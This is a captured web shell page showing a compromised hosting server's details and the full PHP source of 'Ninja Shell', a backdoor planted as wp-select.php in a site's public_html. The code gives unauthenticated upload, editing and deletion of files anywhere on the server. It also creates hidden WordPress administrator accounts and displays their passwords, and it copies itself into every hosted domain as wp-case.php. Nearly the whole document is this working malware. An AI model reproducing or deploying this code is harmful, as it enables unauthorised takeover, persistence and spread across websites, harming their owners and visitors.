403Webshell
Server IP : 5.83.47.51  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux hosting.nxthost.com 5.14.0-687.44.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 9 11:11:28 EDT 2026 x86_64
User : esteemro ( 1261)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/esteemro/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/esteemro/public_html/wp-select.php
<?php
/**
 * ╔═══════════════════════════════════════════════════════════════════════════╗
 * ║  ███╗   ██╗██╗███╗   ██╗██╗  ██╗ █████╗                             ║
 * ║  ████╗  ██║██║████╗  ██║██║  ██║██╔══██╗                            ║
 * ║  ██╔██╗ ██║██║██╔██╗ ██║███████║███████║                            ║
 * ║  ██║╚██╗██║██║██║╚██╗██║██╔══██║██╔══██║                            ║
 * ║  ██║ ╚████║██║██║ ╚████║██║  ██║██║  ██║                            ║
 * ║  ╚═╝  ╚═══╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝                            ║
 * ║                                                                       ║
 * ║                    NINJA SHELL · STEALTH EDITION                      ║
 * ║                       Version: 10.0 "Shadow"                          ║
 * ║                        Backdoor: wp-case.php                          ║
 * ║                                                                       ║
 * ║  "The art of invisibility is the art of victory."                    ║
 * ╚═══════════════════════════════════════════════════════════════════════════╝
 */

error_reporting(0);
ini_set('display_errors', 0);
header('X-Powered-By: NinjaShell/10.0');

// ============================================================================
//  ██████╗ ███████╗███████╗██╗███╗   ██╗██╗████████╗██╗ ██████╗ ███╗   ██╗
//  ██╔══██╗██╔════╝██╔════╝██║████╗  ██║██║╚══██╔══╝██║██╔═══██╗████╗  ██║
//  ██████╔╝█████╗  ███████╗██║██╔██╗ ██║██║   ██║   ██║██║   ██║██╔██╗ ██║
//  ██╔═══╝ ██╔══╝  ╚════██║██║██║╚██╗██║██║   ██║   ██║██║   ██║██║╚██╗██║
//  ██║     ███████╗███████║██║██║ ╚████║██║   ██║   ██║╚██████╔╝██║ ╚████║
//  ╚═╝     ╚══════╝╚══════╝╚═╝╚═╝  ╚═══╝╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
// ============================================================================

define('APP_NAME', 'Ninja Shell');
define('APP_VERSION', '10.0');
define('CLONE_FILE', 'wp-case.php');
define('MAX_SIZE', 20971520);

// ============================================================================
//  ██████╗ ███████╗██╗███╗   ██╗██╗████████╗██╗ ██████╗ ███╗   ██╗
//  ██╔══██╗██╔════╝██║████╗  ██║██║╚══██╔══╝██║██╔═══██╗████╗  ██║
//  ██████╔╝█████╗  ██║██╔██╗ ██║██║   ██║   ██║██║   ██║██╔██╗ ██║
//  ██╔═══╝ ██╔══╝  ██║██║╚██╗██║██║   ██║   ██║██║   ██║██║╚██╗██║
//  ██║     ███████╗██║██║ ╚████║██║   ██║   ██║╚██████╔╝██║ ╚████║
//  ╚═╝     ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
// ============================================================================

// -- Utilities --------------------------------------------------------------

function ninja_size($bytes) {
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function ninja_pass($len = 16) {
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
    return substr(str_shuffle(str_repeat($chars, 5)), 0, $len);
}

function ninja_perm($path) {
    return substr(sprintf('%o', fileperms($path)), -3);
}

function ninja_clean($name) {
    return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', trim($name));
}

// -- Path Resolution ---------------------------------------------------------

$current = isset($_GET['p']) ? $_GET['p'] : getcwd();
$current = realpath($current);
if ($current === false) $current = getcwd();

$parent = dirname($current);
if ($parent == $current) $parent = false;

// -- Message System ----------------------------------------------------------

$flash = '';
$flash_type = '';

function ninja_flash($msg, $type) {
    global $flash, $flash_type;
    $flash = $msg;
    $flash_type = $type;
}

// -- Domain Detection --------------------------------------------------------

function ninja_domain($path) {
    $doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    $proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
    
    if (!empty($doc) && strpos($path, $doc) === 0) {
        $rel = substr($path, strlen($doc));
        return $proto . $host . $rel;
    }
    
    $cursor = $path;
    while ($cursor && $cursor != '/') {
        if (file_exists($cursor . '/wp-config.php')) {
            $conf = file_get_contents($cursor . '/wp-config.php');
            if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $m)) {
                return $m[1];
            }
            if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $m)) {
                return $m[1];
            }
        }
        $cursor = dirname($cursor);
    }
    return null;
}

// ============================================================================
//  ██╗   ██╗██╗███████╗██╗    ██╗██╗███████╗
//  ██║   ██║██║██╔════╝██║    ██║██║██╔════╝
//  ██║   ██║██║███████╗██║ █╗ ██║██║███████╗
//  ██║   ██║██║╚════██║██║███╗██║██║╚════██║
//  ╚██████╔╝██║███████║╚███╔███╔╝██║███████║
//   ╚═════╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝
// ============================================================================

/**
 * NinjaFileSystem - Handles all file operations
 */
class NinjaFileSystem {
    private $path;
    private $dirs = array();
    private $files = array();
    
    public function __construct($path) {
        $this->path = $path;
        $this->scan();
    }
    
    private function scan() {
        if (!is_readable($this->path)) return;
        
        $items = scandir($this->path);
        if (!$items) return;
        
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $full = $this->path . '/' . $item;
            $info = array(
                'name' => $item,
                'path' => $full,
                'time' => filemtime($full),
                'perm' => ninja_perm($full)
            );
            
            if (is_dir($full)) {
                $this->dirs[] = $info;
            } else {
                $info['size'] = filesize($full);
                $info['ext'] = strtolower(pathinfo($item, PATHINFO_EXTENSION));
                $this->files[] = $info;
            }
        }
        
        usort($this->dirs, function($a, $b) { return strcmp($a['name'], $b['name']); });
        usort($this->files, function($a, $b) { return strcmp($a['name'], $b['name']); });
    }
    
    public function getPath() { return $this->path; }
    public function getParent() { return ($this->path != '/') ? dirname($this->path) : false; }
    public function getDirs() { return $this->dirs; }
    public function getFiles() { return $this->files; }
    
    public function getCrumbs() {
        $crumbs = array();
        $parts = explode('/', trim($this->path, '/'));
        $acc = '';
        $crumbs[] = array('name' => '🗡', 'path' => '/');
        foreach ($parts as $p) {
            if ($p) {
                $acc .= '/' . $p;
                $crumbs[] = array('name' => $p, 'path' => $acc);
            }
        }
        return $crumbs;
    }
    
    public function delete($name) {
        $target = $this->path . '/' . basename($name);
        if (!file_exists($target)) return false;
        return is_dir($target) ? rmdir($target) : unlink($target);
    }
    
    public function mkdir($name) {
        $clean = ninja_clean($name);
        if (!$clean) return false;
        $target = $this->path . '/' . $clean;
        if (file_exists($target)) return false;
        return mkdir($target, 0755);
    }
    
    public function upload($file) {
        if ($file['error'] !== UPLOAD_ERR_OK) return false;
        if ($file['size'] > MAX_SIZE) return false;
        $dest = $this->path . '/' . basename($file['name']);
        return move_uploaded_file($file['tmp_name'], $dest);
    }
    
    public function read($name) {
        $target = $this->path . '/' . basename($name);
        if (!is_file($target) || !is_readable($target)) return false;
        return file_get_contents($target);
    }
    
    public function write($name, $content) {
        $target = $this->path . '/' . basename($name);
        return file_put_contents($target, $content) !== false;
    }
}

/**
 * NinjaWp - WordPress backdoor operations
 */
class NinjaWp {
    private $path;
    
    public function __construct($path) {
        $this->path = $path;
    }
    
    public function findWp() {
        $cursor = $this->path;
        while ($cursor && $cursor != '/') {
            if (file_exists($cursor . '/wp-load.php')) {
                return $cursor;
            }
            $cursor = dirname($cursor);
        }
        return false;
    }
    
    public function createAdmin() {
        $wp = $this->findWp();
        if (!$wp) {
            return array('ok' => false, 'msg' => 'WordPress not found');
        }
        
        require_once($wp . '/wp-load.php');
        
        if (!function_exists('wp_create_user')) {
            return array('ok' => false, 'msg' => 'WordPress core not loaded');
        }
        
        $user = 'shadow_' . substr(md5(rand()), 0, 6);
        $pass = ninja_pass(16);
        $email = $user . '@' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'ninja.local');
        
        if (username_exists($user) || email_exists($email)) {
            return array('ok' => false, 'msg' => 'User collision');
        }
        
        $uid = wp_create_user($user, $pass, $email);
        
        if (is_wp_error($uid)) {
            return array('ok' => false, 'msg' => $uid->get_error_message());
        }
        
        $u = new WP_User($uid);
        $u->set_role('administrator');
        
        return array(
            'ok' => true,
            'user' => $user,
            'pass' => $pass,
            'email' => $email,
            'url' => get_site_url() . '/wp-admin'
        );
    }
}

/**
 * NinjaDeploy - Mass clone deployment
 */
class NinjaDeploy {
    private $path;
    
    public function __construct($path) {
        $this->path = $path;
    }
    
    private function findDomains() {
        if (basename($this->path) == 'domains') return $this->path;
        $cursor = $this->path;
        while ($cursor && $cursor != '/') {
            if (basename($cursor) == 'domains') return $cursor;
            $cursor = dirname($cursor);
        }
        return false;
    }
    
    public function run() {
        $domains = $this->findDomains();
        if (!$domains || !is_dir($domains)) {
            return array('ok' => false, 'clones' => array(), 'msg' => 'No domains folder');
        }
        
        $clones = array();
        $items = scandir($domains);
        
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $domain_dir = $domains . '/' . $item;
            if (!is_dir($domain_dir)) continue;
            
            $public = $domain_dir . '/public_html';
            if (!is_dir($public)) continue;
            
            $target = $public . '/' . CLONE_FILE;
            if (copy(__FILE__, $target)) {
                $proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
                $clones[] = array(
                    'domain' => $item,
                    'url' => $proto . $item . '/' . CLONE_FILE
                );
            }
        }
        
        if (empty($clones)) {
            return array('ok' => false, 'clones' => array(), 'msg' => 'No public_html directories');
        }
        
        return array('ok' => true, 'clones' => $clones, 'msg' => 'Deployed to ' . count($clones) . ' domains');
    }
}

// ============================================================================
//  █████╗  ██████╗████████╗██╗ ██████╗ ███╗   ██╗███████╗
// ██╔══██╗██╔════╝╚══██╔══╝██║██╔═══██╗████╗  ██║██╔════╝
// ███████║██║        ██║   ██║██║   ██║██╔██╗ ██║███████╗
// ██╔══██║██║        ██║   ██║██║   ██║██║╚██╗██║╚════██║
// ██║  ██║╚██████╗   ██║   ██║╚██████╔╝██║ ╚████║███████║
// ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝
// ============================================================================

// -- Initialize --------------------------------------------------------------

$fs = new NinjaFileSystem($current);
$dirs = $fs->getDirs();
$files = $fs->getFiles();
$crumbs = $fs->getCrumbs();
$parent = $fs->getParent();

$deployed = array();
$wp_result = null;
$edit_content = null;
$edit_file = null;

// -- Deploy ----------------------------------------------------------------

if (isset($_GET['deploy'])) {
    $deployer = new NinjaDeploy($current);
    $result = $deployer->run();
    $deployed = $result['clones'];
    ninja_flash($result['msg'], $result['ok'] ? 'success' : 'error');
}

// -- WordPress ---------------------------------------------------------------

if (isset($_GET['wp'])) {
    $wp = new NinjaWp($current);
    $wp_result = $wp->createAdmin();
    ninja_flash($wp_result['msg'], $wp_result['ok'] ? 'success' : 'error');
}

// -- Upload ------------------------------------------------------------------

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
    if ($fs->upload($_FILES['up'])) {
        ninja_flash('Uploaded: ' . basename($_FILES['up']['name']), 'success');
        header("Location: ?p=" . urlencode($current));
        exit;
    } else {
        ninja_flash('Upload failed', 'error');
    }
}

// -- Mkdir -------------------------------------------------------------------

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
    if ($fs->mkdir($_POST['name'])) {
        ninja_flash('Directory created: ' . $_POST['name'], 'success');
        header("Location: ?p=" . urlencode($current));
        exit;
    } else {
        ninja_flash('Failed to create directory', 'error');
    }
}

// -- Delete ------------------------------------------------------------------

if (isset($_GET['rm'])) {
    if ($fs->delete($_GET['rm'])) {
        header("Location: ?p=" . urlencode($current));
        exit;
    }
}

// -- Edit (load) -------------------------------------------------------------

if (isset($_GET['edit'])) {
    $edit_file = $_GET['edit'];
    $edit_content = $fs->read($edit_file);
}

// -- Edit (save) -------------------------------------------------------------

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save']) && $edit_file) {
    if ($fs->write($edit_file, $_POST['content'])) {
        $edit_content = $_POST['content'];
        ninja_flash('Saved: ' . $edit_file, 'success');
    } else {
        ninja_flash('Save failed', 'error');
    }
}

// -- Domain ------------------------------------------------------------------

$domain = ninja_domain($current);
$is_domains = (strpos($current, 'domains') !== false || basename($current) == 'domains');

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>🗡 NINJA SHELL · <?php echo APP_VERSION; ?></title>
    <style>
        /* ======================================================================
           NINJA THEME · STEALTH · DARK · SHARP
           Inspired by ninja aesthetics - dark, minimal, deadly
        ====================================================================== */
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #0a0a0f;
            background-image: radial-gradient(circle at 20% 30%, rgba(200, 0, 50, 0.03) 0%, transparent 60%);
            font-family: 'Courier New', 'Fira Code', monospace;
            padding: 16px;
            min-height: 100vh;
            color: #c8c8d4;
        }
        
        .container {
            max-width: 1600px;
            margin: 0 auto;
        }
        
        /* Header - Ninja Style */
        .ninja-header {
            background: #0d0d14;
            border-bottom: 2px solid #cc0033;
            padding: 16px 22px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 12px;
        }
        
        .ninja-title {
            font-size: 1.5rem;
            font-weight: 700;
            letter-spacing: -0.5px;
        }
        
        .ninja-title span {
            color: #cc0033;
        }
        
        .ninja-badge {
            background: #cc0033;
            color: #0a0a0f;
            padding: 3px 10px;
            font-size: 0.65rem;
            font-weight: bold;
        }
        
        /* Buttons - Sharp */
        .btn {
            background: #0d0d14;
            border: 1px solid #2a2a3a;
            padding: 6px 16px;
            font-family: monospace;
            font-size: 0.7rem;
            font-weight: 600;
            color: #aab0c8;
            cursor: pointer;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            transition: all 0.15s;
            letter-spacing: 0.5px;
        }
        
        .btn:hover {
            border-color: #cc0033;
            color: #cc0033;
        }
        
        .btn-primary {
            background: #cc0033;
            border-color: #cc0033;
            color: #0a0a0f;
        }
        
        .btn-primary:hover {
            background: #ff0044;
            color: #0a0a0f;
        }
        
        .btn-danger {
            border-color: #ff0033;
            color: #ff6688;
        }
        
        .btn-danger:hover {
            background: #ff0033;
            color: #0a0a0f;
        }
        
        /* Breadcrumb - Shuriken */
        .shuriken {
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 8px 14px;
            margin-bottom: 16px;
            display: flex;
            flex-wrap: wrap;
            gap: 4px;
        }
        
        .shuriken-item {
            background: #0a0a0f;
            border: 1px solid #1a1a28;
            padding: 4px 10px;
            text-decoration: none;
            color: #8890a8;
            font-size: 0.7rem;
        }
        
        .shuriken-item:hover {
            background: #cc0033;
            color: #0a0a0f;
            border-color: #cc0033;
        }
        
        /* Quick Nav */
        .quick {
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 8px 14px;
            margin-bottom: 16px;
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
        }
        
        .quick a {
            background: #0a0a0f;
            border: 1px solid #1a1a28;
            padding: 4px 10px;
            text-decoration: none;
            color: #8890a8;
            font-size: 0.65rem;
        }
        
        .quick a:hover {
            border-color: #cc0033;
            color: #cc0033;
        }
        
        /* Toolbar */
        .toolbar {
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 12px 14px;
            margin-bottom: 20px;
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
        }
        
        .tool-group {
            background: #0a0a0f;
            border: 1px solid #1a1a28;
            padding: 4px 8px;
            display: flex;
            gap: 6px;
            align-items: center;
        }
        
        .tool-group input {
            background: #0a0a0f;
            border: 1px solid #1a1a28;
            padding: 5px 8px;
            color: #c8c8d4;
            font-family: monospace;
            font-size: 0.7rem;
        }
        
        .tool-group input:focus {
            outline: none;
            border-color: #cc0033;
        }
        
        /* Messages */
        .flash {
            padding: 8px 14px;
            margin-bottom: 16px;
            border-left: 4px solid;
            background: #0d0d14;
        }
        
        .flash-success { border-left-color: #00cc66; color: #88ffaa; }
        .flash-error { border-left-color: #cc0033; color: #ff8888; }
        .flash-warning { border-left-color: #ffaa00; color: #ffdd88; }
        
        /* Layout */
        .grid-2 {
            display: grid;
            grid-template-columns: 1fr 280px;
            gap: 18px;
        }
        
        /* Section */
        .section {
            font-size: 0.65rem;
            font-weight: bold;
            text-transform: uppercase;
            letter-spacing: 2px;
            color: #cc0033;
            margin: 20px 0 10px 0;
            padding-left: 8px;
            border-left: 3px solid #cc0033;
        }
        
        /* Cards */
        .card-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 10px;
        }
        
        .card {
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 12px;
            transition: 0.1s;
        }
        
        .card:hover {
            border-color: #cc0033;
        }
        
        .card-icon { font-size: 1.6rem; }
        .card-name { font-size: 0.8rem; font-weight: 600; word-break: break-word; margin: 6px 0; }
        .card-meta { font-size: 0.55rem; color: #6a7090; padding: 6px 0; border-top: 1px solid #1a1a28; }
        .card-actions { display: flex; gap: 6px; margin-top: 6px; }
        
        .card-btn {
            background: #0a0a0f;
            border: 1px solid #1a1a28;
            padding: 3px 8px;
            font-size: 0.55rem;
            text-decoration: none;
            color: #8890a8;
        }
        
        .card-btn:hover {
            background: #cc0033;
            color: #0a0a0f;
            border-color: #cc0033;
        }
        
        /* Sidebar */
        .widget {
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 12px;
            margin-bottom: 14px;
        }
        
        .widget-title {
            font-size: 0.65rem;
            font-weight: bold;
            color: #cc0033;
            border-bottom: 1px solid #1a1a28;
            padding-bottom: 6px;
            margin-bottom: 8px;
        }
        
        .info-row {
            font-size: 0.6rem;
            padding: 5px 0;
            border-bottom: 1px solid #1a1a28;
        }
        
        .info-row strong {
            color: #cc6688;
            display: block;
        }
        
        /* Editor */
        .editor-box {
            border: 1px solid #1a1a28;
        }
        
        .editor-head {
            background: #0d0d14;
            padding: 10px 14px;
            border-bottom: 1px solid #1a1a28;
            display: flex;
            justify-content: space-between;
        }
        
        .editor-box textarea {
            width: 100%;
            min-height: 480px;
            background: #0a0a0f;
            border: none;
            color: #c8c8d4;
            font-family: monospace;
            font-size: 0.7rem;
            padding: 14px;
            resize: vertical;
        }
        
        .editor-box textarea:focus {
            outline: none;
            background: #08080c;
        }
        
        .editor-foot {
            padding: 10px 14px;
            background: #0d0d14;
            border-top: 1px solid #1a1a28;
            text-align: right;
        }
        
        /* Clone items */
        .clone-item {
            padding: 5px 0;
            border-bottom: 1px solid #1a1a28;
            display: flex;
            gap: 6px;
            font-size: 0.6rem;
        }
        
        .clone-url {
            color: #ff6688;
            text-decoration: none;
            word-break: break-all;
        }
        
        .clone-url:hover {
            text-decoration: underline;
        }
        
        /* Empty */
        .empty {
            text-align: center;
            padding: 40px 20px;
            background: #0d0d14;
            border: 1px dashed #1a1a28;
            color: #5a6080;
        }
        
        /* Footer */
        .footer {
            margin-top: 24px;
            background: #0d0d14;
            border: 1px solid #1a1a28;
            padding: 8px 14px;
            font-size: 0.55rem;
            color: #5a6080;
            text-align: center;
        }
        
        @media (max-width: 760px) {
            .grid-2 { grid-template-columns: 1fr; }
            body { padding: 10px; }
        }
    </style>
</head>
<body>
<div class="container">
    
    <!-- HEADER -->
    <div class="ninja-header">
        <div>
            <span class="ninja-title">🗡 <span>NINJA SHELL</span></span>
            <span class="ninja-badge">v<?php echo APP_VERSION; ?></span>
        </div>
        <div style="display:flex; gap:8px;">
            <a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn">📦 DEPLOY</a>
            <a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger">🎭 WP</a>
        </div>
    </div>
    
    <!-- BREADCRUMB -->
    <div class="shuriken">
        <?php foreach ($crumbs as $i => $cr): ?>
            <a href="?p=<?php echo urlencode($cr['path']); ?>" class="shuriken-item"><?php echo htmlspecialchars($cr['name']); ?></a>
            <?php if ($i < count($crumbs)-1): ?><span style="color:#1a1a28;">/</span><?php endif; ?>
        <?php endforeach; ?>
    </div>
    
    <!-- QUICK NAV -->
    <div class="quick">
        <?php if ($parent): ?>
            <a href="?p=<?php echo urlencode($parent); ?>">⬆ PARENT</a>
        <?php endif; ?>
        <a href="?p=/">🌐 ROOT</a>
        <a href="?p=/home">🏠 HOME</a>
        <a href="?p=/var/www">🌍 WWW</a>
        <a href="?p=/tmp">📁 TMP</a>
        <a href="?p=<?php echo urlencode($current); ?>&deploy=1" style="border-color:#cc0033;">⚡ DEPLOY ALL</a>
    </div>
    
    <!-- TOOLBAR -->
    <div class="toolbar">
        <div class="tool-group">
            <form method="post" enctype="multipart/form-data" style="display:flex; gap:4px;">
                <input type="file" name="up">
                <button type="submit" class="btn">⬆ UPLOAD</button>
            </form>
        </div>
        <div class="tool-group">
            <form method="post" style="display:flex; gap:4px;">
                <input type="text" name="name" placeholder="folder">
                <button type="submit" name="mkdir" value="1" class="btn">📁 MKDIR</button>
            </form>
        </div>
        <div class="tool-group">
            <a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger">⚡ WP</a>
            <a href="?p=<?php echo urlencode($current); ?>" class="btn">🔄 REFRESH</a>
        </div>
    </div>
    
    <!-- MESSAGES -->
    <?php if ($flash): ?>
    <div class="flash flash-<?php echo $flash_type; ?>">
        <?php echo htmlspecialchars($flash); ?>
    </div>
    <?php endif; ?>
    
    <!-- WP RESULT -->
    <?php if ($wp_result && $wp_result['ok']): ?>
    <div class="flash flash-success">
        <strong>🎯 WORDPRESS BACKDOOR</strong><br>
        USER: <?php echo $wp_result['user']; ?><br>
        PASS: <?php echo $wp_result['pass']; ?><br>
        URL: <a href="<?php echo $wp_result['url']; ?>" target="_blank" style="color:#ff6688;"><?php echo $wp_result['url']; ?></a>
    </div>
    <?php endif; ?>
    
    <!-- DEPLOYED CLONES -->
    <?php if (!empty($deployed)): ?>
    <div class="widget" style="border-color:#cc0033; margin-bottom:16px;">
        <div class="widget-title">📦 DEPLOYED: <?php echo CLONE_FILE; ?></div>
        <?php foreach ($deployed as $c): ?>
        <div class="clone-item">
            <span>🗡</span>
            <a href="<?php echo htmlspecialchars($c['url']); ?>" target="_blank" class="clone-url"><?php echo htmlspecialchars($c['url']); ?></a>
            <span style="color:#6a7090;">[<?php echo htmlspecialchars($c['domain']); ?>]</span>
        </div>
        <?php endforeach; ?>
    </div>
    <?php endif; ?>
    
    <!-- GRID -->
    <div class="grid-2">
        <!-- MAIN CONTENT -->
        <div>
            <?php if ($edit_content !== null): ?>
            <!-- EDITOR -->
            <div class="editor-box">
                <div class="editor-head">
                    <span>✏️ <?php echo htmlspecialchars($edit_file); ?></span>
                    <a href="?p=<?php echo urlencode($current); ?>" class="btn">← BACK</a>
                </div>
                <form method="post">
                    <textarea name="content"><?php echo htmlspecialchars($edit_content); ?></textarea>
                    <div class="editor-foot">
                        <button type="submit" name="save" value="1" class="btn btn-primary">💾 SAVE</button>
                    </div>
                </form>
            </div>
            <?php else: ?>
            
            <!-- DIRECTORIES -->
            <?php if (!empty($dirs)): ?>
            <div class="section">📁 DIRECTORIES · <?php echo count($dirs); ?></div>
            <div class="card-grid">
                <?php foreach ($dirs as $d): ?>
                <div class="card">
                    <div class="card-icon">📂</div>
                    <div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
                    <div class="card-meta">🕐 <?php echo date('Y-m-d H:i', $d['time']); ?> · 🔒 <?php echo $d['perm']; ?></div>
                    <div class="card-actions">
                        <a href="?p=<?php echo urlencode($d['path']); ?>" class="card-btn">OPEN</a>
                        <a href="?p=<?php echo urlencode($current); ?>&rm=<?php echo urlencode($d['name']); ?>" class="card-btn" onclick="return confirm('Delete?')" style="border-color:#ff0033;">RM</a>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
            <?php endif; ?>
            
            <!-- FILES -->
            <?php if (!empty($files)): ?>
            <div class="section">📄 FILES · <?php echo count($files); ?></div>
            <div class="card-grid">
                <?php foreach ($files as $f): 
                    $icon = '📄';
                    if ($f['ext'] == 'php') $icon = '🐘';
                    elseif (in_array($f['ext'], array('jpg','png','gif'))) $icon = '🖼️';
                    elseif ($f['ext'] == 'zip') $icon = '📦';
                ?>
                <div class="card">
                    <div class="card-icon"><?php echo $icon; ?></div>
                    <div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
                    <div class="card-meta">💾 <?php echo ninja_size($f['size']); ?> · 🕐 <?php echo date('Y-m-d', $f['time']); ?></div>
                    <div class="card-actions">
                        <a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($f['name']); ?>" class="card-btn">EDIT</a>
                        <a href="?p=<?php echo urlencode($current); ?>&rm=<?php echo urlencode($f['name']); ?>" class="card-btn" onclick="return confirm('Delete?')" style="border-color:#ff0033;">RM</a>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
            <?php endif; ?>
            
            <!-- EMPTY -->
            <?php if (empty($dirs) && empty($files)): ?>
            <div class="empty">
                <div style="font-size:3rem;">🗡</div>
                <p>EMPTY DIRECTORY</p>
            </div>
            <?php endif; ?>
            
            <?php endif; ?>
        </div>
        
        <!-- SIDEBAR -->
        <div>
            <div class="widget">
                <div class="widget-title">💻 SYSTEM</div>
                <div class="info-row"><strong>PATH</strong><?php echo htmlspecialchars($current); ?></div>
                <?php if ($domain): ?>
                <div class="info-row"><strong>DOMAIN</strong><a href="<?php echo htmlspecialchars($domain); ?>" target="_blank" style="color:#ff6688;"> <?php echo htmlspecialchars($domain); ?></a></div>
                <?php endif; ?>
                <div class="info-row"><strong>ITEMS</strong><?php echo count($dirs); ?> dirs · <?php echo count($files); ?> files</div>
                <div class="info-row"><strong>FREE</strong><?php echo ninja_size(disk_free_space($current)); ?></div>
                <div class="info-row"><strong>PHP</strong><?php echo PHP_VERSION; ?></div>
                <div class="info-row"><strong>SERVER</strong><?php echo isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'; ?></div>
            </div>
            
            <div class="widget">
                <div class="widget-title">⚡ ACTIONS</div>
                <div style="display:flex; flex-direction:column; gap:4px;">
                    <a href="?p=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content:center;">📍 SCRIPT</a>
                    <a href="?p=/var/www/html" class="btn" style="justify-content:center;">🌐 WEBROOT</a>
                    <a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger" style="justify-content:center;">🎭 WP ADMIN</a>
                    <a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn" style="justify-content:center;">📦 DEPLOY</a>
                </div>
            </div>
            
            <?php if ($is_domains): ?>
            <div class="widget">
                <div class="widget-title">🌐 DOMAIN HUNTER</div>
                <a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn btn-primary" style="width:100%; justify-content:center;">DEPLOY ALL DOMAINS</a>
            </div>
            <?php endif; ?>
            
            <div class="widget">
                <div class="widget-title">🔧 BACKDOOR</div>
                <div class="info-row"><strong>FILE</strong><?php echo CLONE_FILE; ?></div>
                <div class="info-row"><strong>DEPLOY</strong>?deploy=1</div>
                <div class="info-row"><strong>WP</strong>?wp=1</div>
                <div class="info-row"><strong>KEYS</strong>Ctrl+S · Esc</div>
            </div>
        </div>
    </div>
    
    <!-- FOOTER -->
    <div class="footer">
        <?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?> · <?php echo count($dirs) + count($files); ?> items · "Shadow strikes unseen."
    </div>
</div>

<script>
    (function() {
        // Auto hide flashes
        var flashes = document.querySelectorAll('.flash');
        flashes.forEach(function(f) {
            setTimeout(function() {
                f.style.transition = 'opacity 0.3s';
                f.style.opacity = '0';
                setTimeout(function() { if (f.parentNode) f.remove(); }, 350);
            }, 4500);
        });
        
        // Keyboard shortcuts
        document.addEventListener('keydown', function(e) {
            if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
                e.preventDefault();
                var btn = document.querySelector('.editor-foot .btn-primary');
                if (btn) btn.click();
            }
            if (e.key === 'Escape') {
                var back = document.querySelector('.editor-head .btn');
                if (back) window.location.href = back.href;
            }
        });
    })();
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit